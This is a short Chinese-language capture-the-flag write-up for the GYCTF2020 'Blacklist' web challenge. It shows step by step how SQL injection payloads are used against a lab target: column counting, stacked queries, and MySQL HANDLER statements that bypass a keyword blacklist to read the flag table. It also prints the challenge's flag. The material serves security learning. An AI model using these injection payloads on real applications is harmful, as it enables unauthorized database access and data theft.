web19([GYCTF2020]Blacklist):

舌口發表於2024-12-04

1.輸入1'回顯出語法錯誤(找到注入點,是字元型)

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

2.依次輸入1' order by 3#1' order by 1#1' order by 2#(只有第一次回顯報錯,說明列數為2)

3.輸入-1' union select 1,2,3#測試回顯位
回顯:

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

以上是提示過濾了select
4.使用堆疊注入嘗試檢視庫名和表名
1';show databases;

1';show tables;

檢視列名:
1';show columns from FlagHere;#

使用hanlder語句獲得flag:(好用欸)

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#


tips:

handler 表名 open #開啟表
handler 表名 read first #閱讀表中的第一行資料
handler 表名 close #關閉表
handler 表名 read next #獲取表中的下一行資料

FLAG:flag{a34e3221-985c-43f3-8155-7777fb2e1131}

相關文章